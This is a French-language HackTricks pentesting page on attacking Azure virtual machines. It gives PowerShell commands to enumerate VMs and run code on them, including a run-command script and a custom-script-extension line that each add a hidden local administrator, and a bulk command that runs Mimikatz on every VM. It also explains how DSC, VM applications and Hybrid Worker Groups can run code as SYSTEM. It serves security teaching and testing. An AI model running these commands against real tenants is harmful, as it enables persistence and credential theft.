Az - Virtual Machines & Network

Support HackTricks

Informations de base

From the docs: Les machines virtuelles Azure sont l'un des plusieurs types de ressources informatiques à la demande et évolutives que propose Azure. En général, vous choisissez une machine virtuelle lorsque vous avez besoin de plus de contrôle sur l'environnement informatique que les autres options ne le permettent. Cet article vous fournit des informations sur ce que vous devez considérer avant de créer une machine virtuelle, comment vous la créez et comment vous la gérez.

Informations sur le réseau Azure

Les réseaux Azure contiennent différentes entités et façons de le configurer. Vous pouvez trouver une brève description, exemples et commandes d'énumération des différentes entités réseau Azure dans :

Azure Bastion

Azure Bastion offre une solution d'accès RDP (Remote Desktop Protocol) et SSH (Secure Shell) sécurisée et entièrement gérée via SSL à travers le portail Azure. Il est intégré dans un réseau virtuel Azure, permettant la connectivité RDP et SSH aux machines virtuelles en utilisant des IP privées, évitant ainsi le besoin d'IP publiques. Cela en fait une alternative plus sûre et plus pratique aux méthodes traditionnelles impliquant des attributions d'IP publiques et des configurations de règles NSG pour l'accès aux machines virtuelles. Les développeurs et le personnel informatique peuvent accéder en toute sécurité aux machines virtuelles depuis le portail Azure en utilisant leurs navigateurs web, simplifiant ainsi le processus pour les environnements de développement et de test.

Pour lister tous les hôtes Azure Bastion dans votre abonnement, vous pouvez utiliser la commande suivante :

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Énumération des VM

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Exécuter des commandes dans une VM

Connexion AAD dans VM

Il est possible de permettre l'accès aux utilisateurs authentifiés via AzureAD. Par exemple, en essayant d'accéder à une linux VM : ssh username@azure-corp.com@1.1.1.1 (il est important d'utiliser l'email avec le azurecorp utilisé lors de la tentative de connexion) vous pourriez obtenir une erreur comme :

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Il suffit de suivre ces instructions en allant sur https://microsoft.com/devicelogin et en indiquant le code, utilisez l'email et le mot de passe comme identifiants et vous pourrez vous connecter via SSH (si cet utilisateur a suffisamment de permissions pour le faire : rôle Virtual Machine Administrator Login ou Virtual Machine User Login).

Exécuter la commande

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Exécuter l'extension de script personnalisé

Les extensions de machine virtuelle (VM) Azure sont de petites applications qui fournissent des configurations et des tâches d'automatisation après le déploiement sur les VM Azure. Par exemple, si une machine virtuelle nécessite l'installation de logiciels, une protection antivirus ou la capacité d'exécuter un script à l'intérieur, vous pouvez utiliser une extension de VM.

Par conséquent, si vous avez accès pour l'écrire, vous pouvez exécuter du code arbitraire :

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC) est un outil PowerShell similaire à Ansible, utilisé pour configurer un hôte par le biais de code. DSC s'intègre à Azure, permettant le téléchargement de fichiers de configuration spécifiques. Ces fichiers doivent respecter une syntaxe stricte. Notamment, l'extension DSC dans Azure peut exécuter des commandes à partir de fichiers qui répondent à certains critères de formatage, même si la syntaxe n'est pas correcte selon les normes DSC, comme le montre la figure fournie.

L'exécution de ces commandes est facilitée par la fonction Publish-AzVMDscConfiguration dans Az PowerShell. Les exigences incluent un fichier .PS1 avec une fonction définie et le fichier doit être compressé dans un fichier .zip. Même si la syntaxe peut ne pas être précise pour DSC, le code s'exécutera toujours. Cependant, l'extension marquera l'état d'exécution comme "échec", et aucune sortie de la commande ne sera visible en raison du statut étant écrasé par le message d'échec.

VM Application Definitions

Les définitions d'application VM permettent le déploiement répétable d'applications versionnées sur une VM Azure. Cette ressource prend en charge le déploiement et la mise à jour d'applications sur plusieurs VMs. Pour configurer cela, plusieurs étapes sont nécessaires, impliquant des commandes comme New-AzGalleryApplication et New-AzGalleryApplicationVersion dans Az PowerShell.

L'exécution d'applications ou de commandes par cette méthode implique le "VMAppExtension", qui est installé automatiquement lorsqu'une application est appliquée à une VM. L'extension récupère le fichier à partir de l'URI spécifié et le nomme exactement comme l'application, sans extension. Pour exécuter correctement le fichier, le champ "ManageActions" dans l'appel API REST doit être configuré pour renommer le fichier avec l'extension appropriée. La configuration de cette méthode, une fois terminée, ressemblera à la structure montrée dans la figure fournie.

Cependant, cette méthode d'exécution est relativement lente, prenant environ 3-4 minutes pour exécuter une application ou une commande. Les fichiers liés à ce processus sont stockés dans des répertoires spécifiques (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ pour la copie de l'application et C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ pour l'état d'exécution).

Les deux techniques offrent des moyens uniques d'exécuter des commandes et de déployer des applications dans des environnements Azure, chacune avec son propre ensemble d'exigences, d'étapes et de considérations.

Hybrid Worker Groups (HWGs) in Azure

Hybrid Worker Groups (HWGs) sont une fonctionnalité d'Azure qui permet aux Runbooks, configurés dans un compte d'automatisation, d'être exécutés sur une machine virtuelle Azure (VM) qui fait partie du HWG désigné. Cette exécution est facilitée par une extension installée sur la VM, qui déploie le code du Runbook sur la VM. Un aspect significatif de ce processus est que les véritables identifiants ne sont pas un facteur dans l'exécution car le code s'exécute avec des privilèges élevés, spécifiquement en tant que SYSTEM ou root, comme illustré dans la figure fournie.

Un détail crucial pour ceux utilisant des VMs Windows 10 est la nécessité de spécifier la version de PowerShell pour le Runbook. Elle doit être configurée pour s'exécuter en tant que PowerShell Version 5.1 au lieu de 7.1. Cette exigence découle du fait que PowerShell 7.1 n'est pas installé par défaut sur ces VMs, entraînant un échec de l'exécution du script si la version 7.1 est spécifiée.

Cette fonctionnalité d'Azure offre une méthode robuste pour automatiser et gérer des tâches à travers des environnements hybrides, permettant une gestion et une exécution centralisées des tâches sur les VMs Azure.

References

Support HackTricks

Last updated